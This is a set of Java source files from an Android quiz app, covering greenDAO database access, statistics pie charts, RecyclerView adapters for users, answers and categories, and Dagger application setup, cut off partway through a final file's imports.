public class FileUtils {
/**
* Resource: Pro Android by <NAME> and <NAME> (2009) p.59
* this funnctions reads all bytes from a stream and converts into a String
* @param is input stream
* @return a string
* @throws IOException
*/
public static String convertStreamToString(InputStream is) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int i = is.read();
while (i != -1) {
baos.write(i);
i = is.read();
}
return baos.toString();
}
}
<file_sep>package in.uscool.androidquiz.model;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteStatement;
import de.greenrobot.dao.AbstractDao;
import de.greenrobot.dao.Property;
import de.greenrobot.dao.internal.DaoConfig;
// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT.
/**
* DAO for table "SETTINGS".
*/
public class SettingsDao extends AbstractDao<Settings, Long> {
public static final String TABLENAME = "SETTINGS";
/**
* Properties of entity Settings.<br/>
* Can be used for QueryBuilder and for referencing column names.
*/
public static class Properties {
public final static Property Id = new Property(0, Long.class, "id", true, "_id");
public final static Property TimeBoxStage1 = new Property(1, java.util.Date.class, "timeBoxStage1", false, "TIME_BOX_STAGE1");
public final static Property TimeBoxStage2 = new Property(2, java.util.Date.class, "timeBoxStage2", false, "TIME_BOX_STAGE2");
public final static Property TimeBoxStage3 = new Property(3, java.util.Date.class, "timeBoxStage3", false, "TIME_BOX_STAGE3");
public final static Property TimeBoxStage4 = new Property(4, java.util.Date.class, "timeBoxStage4", false, "TIME_BOX_STAGE4");
public final static Property TimeBoxStage5 = new Property(5, java.util.Date.class, "timeBoxStage5", false, "TIME_BOX_STAGE5");
public final static Property TimeBoxStage6 = new Property(6, java.util.Date.class, "timeBoxStage6", false, "TIME_BOX_STAGE6");
};
public SettingsDao(DaoConfig config) {
super(config);
}
public SettingsDao(DaoConfig config, DaoSession daoSession) {
super(config, daoSession);
}
/** Creates the underlying database table. */
public static void createTable(SQLiteDatabase db, boolean ifNotExists) {
String constraint = ifNotExists? "IF NOT EXISTS ": "";
db.execSQL("CREATE TABLE " + constraint + "\"SETTINGS\" (" + //
"\"_id\" INTEGER PRIMARY KEY ," + // 0: id
"\"TIME_BOX_STAGE1\" INTEGER," + // 1: timeBoxStage1
"\"TIME_BOX_STAGE2\" INTEGER," + // 2: timeBoxStage2
"\"TIME_BOX_STAGE3\" INTEGER," + // 3: timeBoxStage3
"\"TIME_BOX_STAGE4\" INTEGER," + // 4: timeBoxStage4
"\"TIME_BOX_STAGE5\" INTEGER," + // 5: timeBoxStage5
"\"TIME_BOX_STAGE6\" INTEGER);"); // 6: timeBoxStage6
}
/** Drops the underlying database table. */
public static void dropTable(SQLiteDatabase db, boolean ifExists) {
String sql = "DROP TABLE " + (ifExists ? "IF EXISTS " : "") + "\"SETTINGS\"";
db.execSQL(sql);
}
/** @inheritdoc */
@Override
protected void bindValues(SQLiteStatement stmt, Settings entity) {
stmt.clearBindings();
Long id = entity.getId();
if (id != null) {
stmt.bindLong(1, id);
}
java.util.Date timeBoxStage1 = entity.getTimeBoxStage1();
if (timeBoxStage1 != null) {
stmt.bindLong(2, timeBoxStage1.getTime());
}
java.util.Date timeBoxStage2 = entity.getTimeBoxStage2();
if (timeBoxStage2 != null) {
stmt.bindLong(3, timeBoxStage2.getTime());
}
java.util.Date timeBoxStage3 = entity.getTimeBoxStage3();
if (timeBoxStage3 != null) {
stmt.bindLong(4, timeBoxStage3.getTime());
}
java.util.Date timeBoxStage4 = entity.getTimeBoxStage4();
if (timeBoxStage4 != null) {
stmt.bindLong(5, timeBoxStage4.getTime());
}
java.util.Date timeBoxStage5 = entity.getTimeBoxStage5();
if (timeBoxStage5 != null) {
stmt.bindLong(6, timeBoxStage5.getTime());
}
java.util.Date timeBoxStage6 = entity.getTimeBoxStage6();
if (timeBoxStage6 != null) {
stmt.bindLong(7, timeBoxStage6.getTime());
}
}
/** @inheritdoc */
@Override
public Long readKey(Cursor cursor, int offset) {
return cursor.isNull(offset + 0) ? null : cursor.getLong(offset + 0);
}
/** @inheritdoc */
@Override
public Settings readEntity(Cursor cursor, int offset) {
Settings entity = new Settings( //
cursor.isNull(offset + 0) ? null : cursor.getLong(offset + 0), // id
cursor.isNull(offset + 1) ? null : new java.util.Date(cursor.getLong(offset + 1)), // timeBoxStage1
cursor.isNull(offset + 2) ? null : new java.util.Date(cursor.getLong(offset + 2)), // timeBoxStage2
cursor.isNull(offset + 3) ? null : new java.util.Date(cursor.getLong(offset + 3)), // timeBoxStage3
cursor.isNull(offset + 4) ? null : new java.util.Date(cursor.getLong(offset + 4)), // timeBoxStage4
cursor.isNull(offset + 5) ? null : new java.util.Date(cursor.getLong(offset + 5)), // timeBoxStage5
cursor.isNull(offset + 6) ? null : new java.util.Date(cursor.getLong(offset + 6)) // timeBoxStage6
);
return entity;
}
/** @inheritdoc */
@Override
public void readEntity(Cursor cursor, Settings entity, int offset) {
entity.setId(cursor.isNull(offset + 0) ? null : cursor.getLong(offset + 0));
entity.setTimeBoxStage1(cursor.isNull(offset + 1) ? null : new java.util.Date(cursor.getLong(offset + 1)));
entity.setTimeBoxStage2(cursor.isNull(offset + 2) ? null : new java.util.Date(cursor.getLong(offset + 2)));
entity.setTimeBoxStage3(cursor.isNull(offset + 3) ? null : new java.util.Date(cursor.getLong(offset + 3)));
entity.setTimeBoxStage4(cursor.isNull(offset + 4) ? null : new java.util.Date(cursor.getLong(offset + 4)));
entity.setTimeBoxStage5(cursor.isNull(offset + 5) ? null : new java.util.Date(cursor.getLong(offset + 5)));
entity.setTimeBoxStage6(cursor.isNull(offset + 6) ? null : new java.util.Date(cursor.getLong(offset + 6)));
}
/** @inheritdoc */
@Override
protected Long updateKeyAfterInsert(Settings entity, long rowId) {
entity.setId(rowId);
return rowId;
}
/** @inheritdoc */
@Override
public Long getKey(Settings entity) {
if(entity != null) {
return entity.getId();
} else {
return null;
}
}
/** @inheritdoc */
@Override
protected boolean isEntityUpdateable() {
return true;
}
}
<file_sep>package in.uscool.androidquiz.logic.statistics;
import com.github.mikephil.charting.charts.PieChart;
import com.github.mikephil.charting.data.PieData;
import java.util.ArrayList;
import java.util.List;
import javax.inject.Inject;
import in.uscool.androidquiz.AndroidQuizApplication;
import in.uscool.androidquiz.R;
/**
* Created by <NAME> on 05/03/2016.
* <p/>
* This class contains the logic for creating statistics about due challenges and challenge stages
*/
public class StatisticsLogic {
//Attributes
private AndroidQuizApplication mApplication;
private ChartSettings mSettings;
private ChartDataLogic mDataLogic;
/**
* Constructor which saves the given parameters as member attributes.
*
* @param application the AndroidQuizApplication to be saved as a member attribute
* @param chartSettings the chart settings to be saved as a member attribute
* @param chartDataLogic the chart data logic to be saved as a member attribute
*/
@Inject
public StatisticsLogic(AndroidQuizApplication application, ChartSettings chartSettings, ChartDataLogic chartDataLogic) {
mApplication = application;
mSettings = chartSettings;
mDataLogic = chartDataLogic;
}
/**
* Creates a PieData object containing entries with the numbers of due and not due challenges.
*
* @param chart the PieChart object the calculated data will be applied to
* @param type the type of the statistic to be created
* @return a list of the ids of the shown challenges, if a most played / failed / succeeded
* challenges chart is created. Otherwise null will be returned.
*/
public List<Long> fillChart(PieChart chart, StatisticType type) {
if (chart == null) return null;
//Clear the chart for reloading
chart.clear();
//Create chart data
List<Long> shownChallenges = new ArrayList<>();
PieData data;
//Find chart data and apply type specific settings
switch (type) {
case TYPE_DUE:
data = mDataLogic.findDueData();
chart.setCenterText(mApplication.getString(R.string.due_chart_center_text));
break;
case TYPE_STAGE:
data = mDataLogic.findStageData();
chart.setCenterText(mApplication.getString(R.string.stage_chart_center_text));
break;
default:
data = mDataLogic.findMostPlayedData(type, shownChallenges);
chart.setCenterText("");
chart.getLegend().setEnabled(false);
}
if (data != null) {
//Add data to chart
chart.setData(data);
//Apply default chart settings to the chart
mSettings.applyChartSettings(chart);
} else {
//Format the no data text of the chart
mSettings.applyNoDataSettings(chart);
}
//If there are shown challenges in the List object return the List object, else return null
return (shownChallenges.size() > 0) ? shownChallenges : null;
}
}<file_sep>package in.uscool.androidquiz.activities.statistics;
import android.content.Context;
import android.support.v7.widget.LinearLayoutCompat;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import in.uscool.androidquiz.AndroidQuizApplication;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.database.ChallengeDataSource;
import in.uscool.androidquiz.logic.UserLogicFactory;
import in.uscool.androidquiz.logic.statistics.StatisticType;
import in.uscool.androidquiz.model.User;
/**
* Created by <NAME> on 09/03/2016.
* <p/>
* This adapter adds the StatisticViewHolder objects to the recycler view it is assigned to
*/
public class StatisticsAdapter extends RecyclerView.Adapter<StatisticViewHolder> {
public static final HashMap<StatisticType, Integer> VIEW_TYPE_MAP = new HashMap<>();
static {
VIEW_TYPE_MAP.put(StatisticType.TYPE_DUE, StatisticViewHolder.TYPE_SMALL);
VIEW_TYPE_MAP.put(StatisticType.TYPE_STAGE, StatisticViewHolder.TYPE_SMALL);
VIEW_TYPE_MAP.put(StatisticType.TYPE_MOST_PLAYED, StatisticViewHolder.TYPE_LARGE);
VIEW_TYPE_MAP.put(StatisticType.TYPE_MOST_FAILED, StatisticViewHolder.TYPE_LARGE);
VIEW_TYPE_MAP.put(StatisticType.TYPE_MOST_SUCCEEDED, StatisticViewHolder.TYPE_LARGE);
}
//Attributes
private UserLogicFactory mUserLogicFactory;
private ChallengeDataSource mChallengeDataSource;
private AndroidQuizApplication mApplication;
private User mUser;
private long mCategoryId;
private List<StatisticType> mStatisticItems;
/**
* This constructor saves the given parameters as member attributes and sets the value of the
* view number.
*
* @param userLogicFactory the user logic factory to be saved as a member attribute
* @param challengeDataSource the challenge data source to be saved as a member attribute
* @param application the AndroidQuizApplication to be saved as a member attribute
* @param user the user to be saved as a member attribute
* @param categoryId the category id to be saved as a member attribute
*/
public StatisticsAdapter(UserLogicFactory userLogicFactory,
ChallengeDataSource challengeDataSource,
AndroidQuizApplication application, User user, long categoryId,
List<StatisticType> itemsToShow) {
mUserLogicFactory = userLogicFactory;
mChallengeDataSource = challengeDataSource;
mApplication = application;
mUser = user;
mCategoryId = categoryId;
mStatisticItems = new ArrayList<>();
setStatisticItems(itemsToShow);
}
/**
* Called to create the ViewHolder at the given position.
*
* @param parent parent to assign the newly created view to
* @param viewType ignored
*/
@Override
public StatisticViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View v;
int layout;
Context parentContext = parent.getContext();
if (viewType == StatisticViewHolder.TYPE_LARGE) {
layout = R.layout.list_item_statistic_most_played;
} else if (viewType == StatisticViewHolder.TYPE_SMALL) {
layout = R.layout.list_item_statistic_pie_chart;
} else {
throw new RuntimeException("Invalid view type!");
}
v = LayoutInflater.from(parentContext).inflate(layout, parent, false);
LinearLayoutCompat.LayoutParams layoutParams = new LinearLayoutCompat.LayoutParams(
LinearLayoutCompat.LayoutParams.MATCH_PARENT,
LinearLayoutCompat.LayoutParams.WRAP_CONTENT);
v.setLayoutParams(layoutParams);
return new StatisticViewHolder(v, mUserLogicFactory, mChallengeDataSource, mApplication,
mUser, mCategoryId);
}
/**
* Returns the type of the item view at the given position
*
* @param position the position of the item view
* @return the type of the item view
*/
@Override
public int getItemViewType(int position) {
StatisticType type = mStatisticItems.get(position);
return VIEW_TYPE_MAP.get(type);
}
/**
* Called to bind the ViewHolder at the given position.
*
* @param holder the ViewHolder object to be bound
* @param position the position of the ViewHolder
*/
@Override
public void onBindViewHolder(StatisticViewHolder holder, int position) {
switch (getItemViewType(position)) {
case StatisticViewHolder.TYPE_SMALL:
switch (mStatisticItems.get(position)) {
case TYPE_DUE:
holder.applyDueChart();
break;
case TYPE_STAGE:
holder.applyStageChart();
break;
}
break;
case StatisticViewHolder.TYPE_LARGE:
holder.applyMostPlayedChart(mStatisticItems.get(position));
break;
}
}
/**
* Returns the count of ViewHolders in the adapter
*
* @return the count of ViewHolders
*/
@Override
public int getItemCount() {
return mStatisticItems.size();
}
/**
* Sets the statistic items member to the parameter object
*
* @param statisticItems the statistic items to be shown in the recycler view
*/
public void setStatisticItems(List<StatisticType> statisticItems) {
mStatisticItems.clear();
mStatisticItems.addAll(statisticItems);
}
}<file_sep>package in.uscool.androidquiz.activities.selectuser;
import android.content.res.TypedArray;
import android.graphics.Color;
import android.support.v4.content.ContextCompat;
import android.support.v7.widget.RecyclerView;
import android.view.ContextMenu;
import android.view.LayoutInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import java.util.List;
import javax.inject.Inject;
import in.uscool.androidquiz.AndroidQuizApplication;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.activities.createuser.Avatars;
import in.uscool.androidquiz.logic.UserManager;
import in.uscool.androidquiz.model.User;
/**
* Created by <NAME>
* <p/>
* Adapter to load all users into a list. Contains a context menu to perform actions on the users
*/
public class UserAdapter extends RecyclerView.Adapter<UserAdapter.UserViewHolder> {
@Inject
UserManager mUserManager;
//Attributes
private ResultListener mResultListener;
private List<User> mUsers;
private AndroidQuizApplication mApplication;
/**
* Constructor to setup the listener, inject components and get all users
*
* @param allUsers list of all users
* @param resultListener Listener of the activity
* @param application App
*/
public UserAdapter(List<User> allUsers, ResultListener resultListener, AndroidQuizApplication application) {
mUsers = allUsers;
mResultListener = resultListener;
mApplication = application;
application.getComponent().inject(this);
}
/**
* Get the user manager
*
* @return The user manager
*/
public UserManager getUserManager() {
return mUserManager;
}
/**
* Creates the list item's view
*
* @param parent To get the context
* @param viewType Ignored
* @return The ViewHolder
*/
@Override
public UserViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
LayoutInflater myInflater = LayoutInflater.from(parent.getContext());
//Load the list template
View customView = myInflater.inflate(R.layout.list_item_user, parent, false);
return new UserViewHolder(customView, this);
}
/**
* Binds list element of given position to the view
*
* @param holder UserViewHolder
* @param position Positon
*/
@Override
public void onBindViewHolder(UserViewHolder holder, int position) {
//bind the user
User user = mUsers.get(position);
holder.bindUser(user);
}
/**
* Get the size of the view
*
* @return Size of the user list
*/
@Override
public int getItemCount() {
return mUsers.size();
}
/**
* Pass selection on to the ResultListener
*
* @param user Selected user
*/
public void onUserSelected(User user) {
mResultListener.onUserSelected(user);
}
/**
* Removes a user from the list
*
* @param position User's position in the list
*/
public void removeAt(int position) {
mUsers.remove(position);
notifyItemRemoved(position);
notifyItemRangeChanged(position, mUsers.size());
}
/**
* Interface for ClickListener on a user
*/
public interface ResultListener {
void onUserSelected(User user);
void onEditUser(User user);
void onDeleteUser(User user, int position);
}
/**
* User View Holder holds the items in the UserList
*/
public class UserViewHolder extends RecyclerView.ViewHolder implements View.OnCreateContextMenuListener, View.OnClickListener,
MenuItem.OnMenuItemClickListener {
//Attributes
private TextView mUserText;
private ImageView mUserImage;
private UserAdapter mAdapter;
/**
* Constructor instantiates the text and images
*
* @param itemView Ignored
* @param adapter The UserAdapter
*/
public UserViewHolder(View itemView, UserAdapter adapter) {
super(itemView);
itemView.setOnClickListener(this);
itemView.setOnCreateContextMenuListener(this);
mUserText = (TextView) itemView.findViewById(R.id.userItemText);
mUserImage = (ImageView) itemView.findViewById(R.id.userItemImage);
mAdapter = adapter;
}
/**
* Creates a context menu to delete and edit an user
*
* @param menu The context menu which contains the different items
* @param v Ignored
* @param menuInfo Ignored
*/
@Override
public void onCreateContextMenu(ContextMenu menu, View v,
ContextMenu.ContextMenuInfo menuInfo) {
MenuItem editItem = menu.add(mApplication.getString(R.string.user_context_menu_button_edit));
editItem.setOnMenuItemClickListener(this);
if (!mUsers.get(getPosition()).getId().equals(mUserManager.getCurrentUser().getId())) {
MenuItem deleteItem = menu.add(mApplication.getString(R.string.user_context_menu_button_delete));
deleteItem.setOnMenuItemClickListener(this);
}
}
/**
* Actually deletes or loads the edit screen for an user
*
* @param item Menu item, which was pressed
* @return True
*/
@Override
public boolean onMenuItemClick(MenuItem item) {
if (item.getTitle().equals(mApplication.getString(R.string.user_context_menu_button_edit))) {
mResultListener.onEditUser(mUsers.get(getPosition()));
} else if (item.getTitle().equals(mApplication.getString(R.string.user_context_menu_button_delete))) {
mResultListener.onDeleteUser(mUsers.get(getPosition()), getPosition());
}
return true;
}
/**
* Bind the user to the View Holder and add an OnClickListener
*
* @param user User to bind to the view
*/
public void bindUser(final User user) {
String username = user.getName();
int avatarId = Avatars.getAvatarResourceId(itemView.getContext(), user.getAvatar());
mUserText.setText(username);
mUserImage.setImageResource(avatarId);
// Highlight currently logged in user
if (user.getId().equals(mAdapter.getUserManager().getCurrentUser().getId())) {
mUserText.setTextColor(ContextCompat.getColor(itemView.getContext(), R.color.colorAccent));
} else {
int[] attrs = {android.R.attr.textColor};
TypedArray ta = itemView.getContext().obtainStyledAttributes(android.R.style.TextAppearance_Large, attrs);
mUserText.setTextColor(ta.getColor(0, Color.BLACK));
ta.recycle();
}
//set click listener
itemView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
mAdapter.onUserSelected(user);
}
});
}
/**
* Ignored
*
* @param v Ignored
*/
@Override
public void onClick(View v) {
}
}
}<file_sep>package in.uscool.androidquiz.logic;
import javax.inject.Inject;
import in.uscool.androidquiz.AndroidQuizApplication;
import in.uscool.androidquiz.database.ChallengeDataSource;
import in.uscool.androidquiz.database.CompletionDataSource;
import in.uscool.androidquiz.database.StatisticsDataSource;
import in.uscool.androidquiz.logic.statistics.ChartDataLogic;
import in.uscool.androidquiz.logic.statistics.ChartSettings;
import in.uscool.androidquiz.logic.statistics.StatisticsLogic;
import in.uscool.androidquiz.model.User;
/**
* Created by funkv on 06.03.2016.
* <p/>
* Factory that is used to create logic objects which require a user.
* Dependencies are injected automatically.
*/
public class UserLogicFactory {
@Inject
AndroidQuizApplication mApplication;
@Inject
CompletionDataSource mCompletionDataSource;
@Inject
ChallengeDataSource mChallengeDataSource;
@Inject
StatisticsDataSource mStatisticsDataSource;
@Inject
ChartSettings mSettings;
/**
* Create a DueChallengeLogic for the specified user.
*
* @param user user whose challenges are inspected
* @return the DueChallengeLogic object
*/
public DueChallengeLogic createDueChallengeLogic(User user) {
return new DueChallengeLogic(user, mCompletionDataSource, mChallengeDataSource);
}
/**
* Creates ChartDataLogic
*
* @param user
* @param categoryId category to inspect
* @return ChartDataLogic
*/
public ChartDataLogic createChartDataLogic(User user, long categoryId) {
return new ChartDataLogic(user,
categoryId,
mApplication,
mChallengeDataSource,
mCompletionDataSource,
mStatisticsDataSource,
this);
}
/**
* Create a DueChallengeLogic for the specified user.
*
* @param user user whose challenges are inspected
* @param categoryId category to inspect
* @return the DueChallengeLogic object
*/
public StatisticsLogic createStatisticsLogic(User user, long categoryId) {
return new StatisticsLogic(mApplication, mSettings, createChartDataLogic(user, categoryId));
}
}
<file_sep>package in.uscool.androidquiz.activities.playchallenge;
import android.support.v4.content.ContextCompat;
import android.support.v7.widget.RecyclerView;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import java.util.List;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.model.Answer;
/**
* Created by <NAME>
* <p/>
* Adapter to load the given answers into a simple list
*/
public class AnswerAdapter extends RecyclerView.Adapter<AnswerAdapter.AnswerViewHolder> {
private List<Answer> mAnswers;
private String mGivenAnswer;
/**
* Constructor for the answer adapter which loads the different answers of a challenge
*
* @param answers List of answers of the challenge
* @param givenAnswer The given answer by the user
*/
public AnswerAdapter(List<Answer> answers, String givenAnswer) {
mAnswers = answers;
mGivenAnswer = givenAnswer;
}
/**
* Inflate the view
*
* @param parent Ignored
* @param viewType Ignored
* @return The ViewHolder with the inflated view
*/
@Override
public AnswerViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
LayoutInflater myInflater = LayoutInflater.from(parent.getContext());
//Load the list template
View customView = myInflater.inflate(android.R.layout.simple_list_item_1, parent, false);
TextView textView = (TextView) customView.findViewById(android.R.id.text1);
textView.setGravity(Gravity.CENTER);
return new AnswerViewHolder(customView);
}
/**
* Create a list item
*
* @param holder ViewHolder which binds the answer text
* @param position The position of the answer item
*/
@Override
public void onBindViewHolder(AnswerViewHolder holder, int position) {
//bind the answer
Answer answer = mAnswers.get(position);
holder.bindAnswer(answer.getText());
}
/**
* Get the size of the view
*
* @return size of the answer list
*/
@Override
public int getItemCount() {
return mAnswers.size();
}
/**
* Answer View Holder holds the items in the AnswerList
*/
public class AnswerViewHolder extends RecyclerView.ViewHolder {
private TextView mAnswerText;
private int colorRight;
/**
* Constructor fo the ViewHolder. Sets up the answer text and the highlight color
*
* @param itemView View to find the TextView for the answer text
*/
public AnswerViewHolder(View itemView) {
super(itemView);
mAnswerText = (TextView) itemView.findViewById(android.R.id.text1);
colorRight = ContextCompat.getColor(itemView.getContext(), R.color.colorRight);
}
/**
* Set the answer text in the View Holder and highlight the given answer
*
* @param answer Answer text
*/
public void bindAnswer(String answer) {
mAnswerText.setText(answer);
// Ff the answer equals to the given answer, mark the text
if (mGivenAnswer != null && mGivenAnswer.equals(answer)) {
mAnswerText.setTextColor(colorRight);
}
}
}
}<file_sep>package in.uscool.androidquiz.database;
import in.uscool.androidquiz.R;
/**
* Created by <NAME> on 03.03.2016.
* <p/>
* Defines valid challenge types.
*/
public class ChallengeType {
public final static int MULTIPLE_CHOICE = 1;
public final static int TEXT = 2;
public final static int SELF_TEST = 3;
private static int[] challengeNameResources = new int[]{
-1,
R.string.multiple_choice,
R.string.text,
R.string.self_check
};
private static int[] challengeColorResources = new int[]{
-1,
R.color.colorMultipleChoice,
R.color.colorText,
R.color.colorSelfCheck
};
/**
* Returns the resource id of the name string for this challenge type
* @param challengeType challenge type to get the name for
* @return resource id corresponding to the challenge type name
*/
public static int getNameResource(int challengeType) {
return challengeNameResources[challengeType];
}
/**
* Returns the resource id of the color for this challenge type
* @param challengeType challenge type to get the color for
* @return resource id corresponding to the challenge type's associated color
*/
public static int getColorResource(int challengeType) {
return challengeColorResources[challengeType];
}
}<file_sep>package in.uscool.androidquiz.activities.selectcategory;
import android.content.Intent;
import android.content.res.Configuration;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.util.LongSparseArray;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.StaggeredGridLayoutManager;
import android.util.TypedValue;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import javax.inject.Inject;
import in.uscool.androidquiz.AndroidQuizComponent;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.activities.AndroidQuizFragment;
import in.uscool.androidquiz.activities.playchallenge.ChallengeActivity;
import in.uscool.androidquiz.activities.statistics.StatisticsActivity;
import in.uscool.androidquiz.database.CategoryDataSource;
import in.uscool.androidquiz.logic.DueChallengeLogic;
import in.uscool.androidquiz.logic.UserLogicFactory;
import in.uscool.androidquiz.logic.UserManager;
import in.uscool.androidquiz.model.Category;
/**
* Created by funkv on 17.02.2016.
*/
public class SelectCategoryPage extends AndroidQuizFragment implements CategoryAdapter.SelectionListener {
RecyclerView mRecyclerView;
List<Category> mCategories;
@Inject
UserManager mUserManager;
@Inject
CategoryDataSource mCategoryDataSource;
@Inject
UserLogicFactory mUserLogicFactory;
private LongSparseArray<Integer> mDueChallengeCounts = new LongSparseArray<>();
private DueChallengeLogic mDueChallengeLogic;
/**
* {@inheritDoc}
*/
@Override
protected void injectComponent(AndroidQuizComponent component) {
// component.inject(this);
}
/**
* This method is called when the fragment is created
*
* @param savedInstanceState handed over to super constructor
*/
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mDueChallengeLogic = mUserLogicFactory.createDueChallengeLogic(mUserManager.getCurrentUser());
mCategories = mCategoryDataSource.getAll();
}
/**
* This method is called to create th fragment view
*
* @param inflater the layout inflater to inflate the layout with
* @param container the container the view is created in
* @param savedInstanceState ignored
* @return the created view
*/
@Nullable
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View rootView = inflater.inflate(R.layout.activity_select_category, container, false);
mRecyclerView = (RecyclerView)rootView.findViewById(R.id.recyclerView);
// get 300dpi in px
float cardWidth = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, 300.f, getResources().getDisplayMetrics());
boolean isLandscape = getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE;
int spans = (int)Math.floor(getResources().getDisplayMetrics().widthPixels / cardWidth);
int orientation = isLandscape ? StaggeredGridLayoutManager.VERTICAL : StaggeredGridLayoutManager.VERTICAL;
StaggeredGridLayoutManager layoutManager = new StaggeredGridLayoutManager(spans, orientation);
mRecyclerView.setLayoutManager(layoutManager);
mRecyclerView.setAdapter(new CategoryAdapter(mCategories, mDueChallengeCounts, this));
mRecyclerView.setHasFixedSize(true);
return rootView;
}
/**
* Reloads the due challenge counts from the database.
*/
private void refreshChallengeCounts( ) {
mDueChallengeCounts = mDueChallengeLogic.getDueChallengeCounts(mCategories);
}
/**
* Reloads due counts and sorts categories so that those with more due challenges appear
* further up in the list.
*/
private void sortCategories( ) {
refreshChallengeCounts();
Collections.sort(mCategories, new Comparator<Category>() {
@Override
public int compare(Category lhs, Category rhs) {
return mDueChallengeCounts.get(rhs.getId()) - mDueChallengeCounts.get(lhs.getId());
}
});
}
/**
* Load due counts & sort categories
*/
public void loadDueCounts( ){
sortCategories();
// Sort reloads the due challenges so we need to notify the adapter that they changed.
((CategoryAdapter) mRecyclerView.getAdapter()).notifyDueChallengeCountsChanged(mDueChallengeCounts);
}
/**
* Sort categories when activity is started, to make sure the set is sorted when returning
* from challenge solving
*/
@Override
public void onStart() {
super.onStart();
loadDueCounts();
}
/**
* Sort categories when activity is resumed, to make sure the set is sorted when returning
* from challenge solving
*/
@Override
public void onResume() {
super.onResume();
loadDueCounts();
}
/**
* This method is called when a category was selected
*
* @param category the category that has been selected
*/
@Override
public void onCategorySelected(Category category) {
Intent intent = new Intent(getContext(), ChallengeActivity.class);
intent.putExtra(ChallengeActivity.EXTRA_CATEGORY_ID, category.getId());
startActivity(intent);
}
/**
* This method is called when all categories were selected
*/
@Override
public void onAllCategoriesSelected() {
Intent intent = new Intent(getContext(), ChallengeActivity.class);
intent.putExtra(ChallengeActivity.EXTRA_CATEGORY_ID, CategoryDataSource.CATEGORY_ID_ALL);
startActivity(intent);
}
/**
* This method is called when the statistic button of a category was clicked
*
* @param category the category that has been selected
*/
@Override
public void onCategoryStatisticsSelected(Category category) {
Intent intent = new Intent(getActivity().getApplicationContext(), StatisticsActivity.class);
intent.putExtra(ChallengeActivity.EXTRA_CATEGORY_ID, category.getId());
startActivity(intent);
}
/**
* This method is called when the statistic button of all categories was clicked
*/
@Override
public void onAllCategoriesStatisticsSelected() {
Intent intent = new Intent(getActivity().getApplicationContext(), StatisticsActivity.class);
intent.putExtra(ChallengeActivity.EXTRA_CATEGORY_ID, CategoryDataSource.CATEGORY_ID_ALL);
startActivity(intent);
}
}
<file_sep>package in.uscool.androidquiz;
import android.app.Application;
import android.content.res.Resources;
import android.util.DisplayMetrics;
import net.danlew.android.joda.JodaTimeAndroid;
import javax.inject.Singleton;
import dagger.Component;
import in.uscool.androidquiz.database.DatabaseModule;
/**
* Created by ujjawal on 9/2/17.
*/
public class AndroidQuizApplication extends Application {
public static String PACKAGE_NAME;
public static AndroidQuizComponent component;
/**
* Creates the Production app Component
*/
protected AndroidQuizComponent createComponent( ) {
return DaggerAndroidQuizApplication_ApplicationComponent.builder()
.appModule(new AppModule(this))
.databaseModule(new DatabaseModule(getApplicationContext(), "prodDb"))
.build();
}
/**
* Returns the Component for use with Dependency Injection for this
* Application.
* @return compoenent to use for DI
*/
public AndroidQuizComponent getComponent( ) {
return component;
}
/**
* initializes the DaoManager with a writeable database
*/
@Override
public void onCreate() {
super.onCreate();
JodaTimeAndroid.init(this);
component = createComponent();
PACKAGE_NAME = getApplicationContext().getPackageName();
}
/**
* Defines the Component to use in the Production Application.
* The component is a bridge between Modules and Injects.
* It creates instances of all the types defined.
*/
@Singleton
@Component(modules = {AppModule.class, DatabaseModule.class})
public interface ApplicationComponent extends AndroidQuizComponent {
}
/**
* Licensed under CC BY-SA (c) 2012 <NAME>
* http://stackoverflow.com/questions/4605527/converting-pixels-to-dp
*
* This method converts device specific pixels to density independent pixels.
*
* @param px A value in px (pixels) unit. Which we need to convert into dp
* @return A float value to represent dp equivalent to px value
*/
public float convertPixelsToDp(float px){
Resources resources = getResources();
DisplayMetrics metrics = resources.getDisplayMetrics();
float dp = px / ((float)metrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT);
return dp;
}
}
<file_sep>package in.uscool.androidquiz.activities.statistics;
import android.support.v7.widget.GridLayoutManager;
import java.util.List;
import in.uscool.androidquiz.logic.statistics.StatisticType;
/**
* Created by <NAME> on 17/03/2016.
* <p>
* This class calculates the span sizes for the ViewHolders in the recycler view used in the
* statistics activity
* </p>
*/
public class StatisticsSpanSizeLookup extends GridLayoutManager.SpanSizeLookup {
//Attributes
private final List<StatisticType> mTypes;
/**
* This constructor saves the given parameters as member attributes.
*
* @param types the types to be saved as a member attribute
*/
public StatisticsSpanSizeLookup(List<StatisticType> types) {
mTypes = types;
}
/**
* Returns the span size of a ViewHolder depending on the device orientation and the ViewHolder
* position
*
* @param position the position of the ViewHolder
*/
@Override
public int getSpanSize(int position) {
switch (StatisticsAdapter.VIEW_TYPE_MAP.get(mTypes.get(position))) {
case StatisticViewHolder.TYPE_LARGE:
return 2;
case StatisticViewHolder.TYPE_SMALL:
return 1;
}
return 0;
}
}<file_sep>package in.uscool.androidquiz.activities.main;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import java.io.InputStream;
import javax.inject.Inject;
